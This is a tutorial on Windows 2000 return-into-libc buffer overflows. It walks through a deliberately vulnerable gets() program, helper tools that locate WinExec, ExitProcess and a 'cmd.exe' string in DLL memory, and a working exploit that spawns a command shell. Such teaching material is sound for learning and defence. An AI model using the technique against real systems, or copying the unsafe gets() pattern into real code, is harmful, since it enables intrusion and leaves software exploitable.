________________________________________________________ // //| []-----------------------------------------------------[]/ |Simple Windows ret-into-libc buffer overflow exploits|//| []-----------------------------------------------------[]/ by Leon Juranic [ Introduction ] There are many texts about "memory based attacks" such as buffer overflow, format string bug, integer overflow, but they are mostly demonstrated in *nix environment, and it is a little bit harder to understand/do it for windows programmer (read hacker:). In this text, you will learn how to exploit buffer overflow bug with ret into libc technique on Windows 2000 (x86) machine. If you don't know how to exploit a basic buffer overflow bug, you should read [1] or [2] first, and than come back here. In windows case, "ret into libc" should be called "ret into dll", but I like that libc stuff much, much more :-). Ret-into-libc technique can be used to exploit buffer overflow bugs in hostile environment with something like non executable stack, or various other stack protection schemes. This cool technique was disclosed long time ago by Solar Designer. [1] http://www.phrack.org/show.php?p=49&a=14 [2] http://www.phrack.org/show.php?p=55&a=15 [ Stuff that we need ] When some function is called, EIP register is first pushed on stack, EBP shortly after, and than ESP is subtracted by local variable size. Stack order when some function is called: Lower mem. ESP -> |------------| | | \ |------------| > Local variable space (8 bytes) | | / |------------| | EBP | Saved Base Pointer |------------| | EIP | Saved Instruction Pointer |------------| Higher mem. Classic win32 buffer overflow is simple - put shellcode on stack, and just overwrite saved EIP register with address of something like JMP ESP. After RET instruction, JMP ESP will be executed, program execution "will be moved to stack", and processor starts with our shellcode execution . There is a big difference between classic buffer overflow technique, and ret into libc technique. Ret-into-libc technique is based on fact that program can return to some system function/API (exported by some Dynamic Link Library) when EIP is overflowed, instead of returning to the shellcode on stack/heap. In most cases, attacker will try to spawn shell, so we need WinExec() fuction, to execute cmd.exe. Let's see WinExec function prototype. UINT WinExec( LPCSTR lpCmdLine, // address of command line UINT uCmdShow // window style for new application ); First argument to WinExec() points to a null-terminated character string that contains the command line (filename plus optional parameters) for the application to be executed. Second argument specifies how a Windows-based application window is to be shown and is used to supply the wShowWindow member of the STARTUPINFO parameter to the CreateProcess function. (Win32 Programmer's Reference) Here is a simple spawn-shell program: ---cut-here--- #include #include main () { char execute[] = "cmd.exe"; WinExec (execute,1); } ---cut-here--- Save this program as exec.cpp, build it and open exec.exe with OllyDbg. Check asm code now, you will see something like this: ... 1. PUSH 1 2. LEA EDX, DWORD PTR SS:[EBP-8] 3. PUSH EDX 4. CALL DWORD PTR DS:[<&Kernel32.WinExec>] ... 1 - Second argument (one) is first pushed on stack 2 - Address of cmd.exe string is loaded into EDX register 3 - EDX is pushed on stack 4 - WinExec() (exported by Kernel32.dll) is called Before 4. step, stack looks like this: Lower mem. ESP -> |------------| |cmd.exe addr| |------------| | 1 | |------------| Higher mem. For ret into libc exploit, we need to find WinExec() address, and GetProcAddress() will be just fine for that. This program will find some exported function in DLL: ---cut-here--- #include #include main (int argc, char **argv) { FARPROC addr; if (argc != 3) { printf ("Usage: %s \n",argv[0]); exit(-1); } if ((addr = GetProcAddress (LoadLibrary(argv[1]),argv[2])) == NULL) { printf ("DAMN!!!\n"); exit(-1); } printf ("%s() is at 0x%x\n",argv[2],addr); } ---cut-here--- Save this program as getproc.cpp and build it. Example: C:\PROJECTS\bof\Debug\getproc kernel32.dll WinExec WinExec() is at 0x77e98601 Now we know where to find WinExec(). [ Just DO IT! ] Here we have a little program that is vulnerable to buffer overflow: ---cut-here--- #include #include #include main (int argc, char **argv) { char vuln[12]; LoadLibrary ("crtdll.dll"); printf ("GIMME: "); gets(vuln); // <- VULNERABLE FUNCTION printf ("%s\n",vuln); } ---cut-here--- Save this program as vuln.cpp and build it. Fire up OllyDbg again, and open vuln.exe. Now go to Debug->Run. At GIMME prompt, write AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, and press enter. BOOOM!!! EBP and EIP registers are overflowed with 0x41414141 (41 HEXADECIMAL == 'A'), and program crashed, because it is impossible to access memory at address 0x41414141. Before overflow, stack looks like this: Lower mem. ESP -> |------------| | | \ |------------| \ | | > 12 bytes free for vuln variable |------------| / | | / |------------| | EBP | |------------| | EIP | |------------| Higher mem. After overflow, stack looks like this: Lower mem. ESP -> |------------| | 0x41414141 | |------------| | 0x41414141 | |------------| | 0x41414141 | |------------| | 0x41414141 | <- Overflowed EBP |------------| | 0x41414141 | <- Overflowed EIP |------------| Higher mem. We see that EIP register is overflowed with AAAA, and after RET instruction, program must crush. To exploit this bug, stack must look like this: Lower mem. ESP -> |------------| | 0x41414141 | |------------| | 0x41414141 | |------------| | 0x41414141 | |------------| | 0x41414141 | <- Overflowed EBP |------------| |WinExec addr| <- Overflowed EIP (overflowed with address of WinExec()) |------------| | RET addr | <- Return address from WinExec(), ExitProcess() is a good choice |------------| |cmd.exe addr| <- *PROBLEM!!!! |------------| | 1 | <- Second WinExec() argument |------------| Higher mem. *PROBLEM - Here we must put address of "cmd.exe\0" string. Problem is that stack will always start at 00xxxxxxh address, but mostly we can't put zero in our exploit buffer if vulnerable function reads until '\0' occured. In some cases we can use "cmd.exe\0" string, located in some DLL's, but to use cmd.exe in some dll, that dll must be loaded in memory space of process that we wanna exploit. This program will find some null-terminated string in some dll - we will use it to find address of cmd.exe: ---cut-here--- // My windows code - blah :-) #include #include #include #pragma comment(lib,"kernel32") void main(int argc, char **argv) { HINSTANCE h; char *findme; unsigned long *ptr; int x; if (argc != 3) { printf ("Usage: %s \n",argv[0]); exit(-1); } findme = argv[2]; if((h = LoadLibrary (argv[1])) == NULL) { printf ("Cannot load library!!!!\n"); exit(-1); } ptr = (unsigned long*)h; for (x=0;x<1000000;x++) // 1 MB is just fine :-) { ptr++; if (IsBadReadPtr (ptr,strlen(findme)) != 0) { printf ("Can't read more memory, search string isn't found !!!\n"); exit(0); } //printf ("Try at: 0x%x (string %s)\n",ptr,ptr); if (CompareString(LOCALE_SYSTEM_DEFAULT,NORM_IGNORECASE, findme,strlen(findme), (char*)ptr,strlen(findme)) == 2) { printf ("String found at memory address 0x%x\n",ptr); exit(0); } } } ---cut-here--- Save this code as findit.cpp and build it. We can see that our vulnerable code loads crtdll.dll library, let's check it for cmd.exe string. C:\PROJECTS\bof\Debug\findit.exe crtdll.dll cmd.exe String found at memory address 0x74fa12e0 VERY GOOD - There is cmd.exe string in crtdll.dll library. Now, let's construct THE EXPLOIT :-) [ EXPLOIT ] Now we know where to find WinExec() and cmd.exe...that's all that we need. ---cut-here--- #include #include main (int argc, char **argv) { char buf[40]; memset (buf,'A',sizeof(buf)); // 12 bytes from buf and 4 bytes EBP are overflowed with A characters *(long*)&buf[16] = 0x77e98601; // <- Overflowed EIP - WinExec() address *(long*)&buf[20] = 0xdeadbeef; // <- Return address - unimportant now *(long*)&buf[24] = 0x74fa12e0; // <- Address of cmd.exe in crtdll.dll *(long*)&buf[28] = 0xbadbabe5; // <- Second WinExec() argument - unimportant *(long*)&buf[32] = 0; printf ("%s\n",buf); } ---cut-here--- Save it as exploit.cpp and build it. We can exploit vuln.exe now.... C:\PROJECTS\bof\Debug>exploit | vuln GIMME: AAAAAAAAAAAAAAAA?åTwn+¡¦a?·tn+¡¦ Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp. C:\PROJECTS\bof\Debug> C:\PROJECTS\bof\Debug> Before cmd.exe is executed, you will get "Application Error" message, because return address is 0xdeadbeef, that isn't accessible. We need to replace 0xdeadbeef with address of ExitProcess() to avoid this error message. C:\PROJECTS\bof\Debug>getprocaddr kernel32.dll ExitProcess ExitProcess() is at 0x77e9b0bb Fixed exploit: ---cut-here--- #include #include main (int argc, char **argv) { char buf[40]; memset (buf,'A',sizeof(buf)); // 12 bytes from buf and 4 bytes EBP are overflowed with A characters *(long*)&buf[16] = 0x77e98601; // <- Overflowed EIP - WinExec() address *(long*)&buf[20] = 0x77e9b0bb; // <- ExitProcess() address *(long*)&buf[24] = 0x74fa12e0; // <- Address of cmd.exe in crtdll.dll *(long*)&buf[28] = 0xbadbabe5; // <- Second WinExec() argument - unimportant *(long*)&buf[32] = 0; printf ("%s\n",buf); } ---cut-here--- Save exploit.cpp and build it. C:\PROJECTS\bof\Debug>exploit | vuln GIMME: AAAAAAAAAAAAAAAA?åTw+¦Twa?·tn+¡¦ C:\PROJECTS\bof\Debug>Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp. C:\PROJECTS\bof\Debug> No more that stupid error message. [ Closing words ] Nothing special, nothing fancy...just my little tour to windows hacking. Windows != Security. Please don't claim otherwise, because you will look stupid. Cya.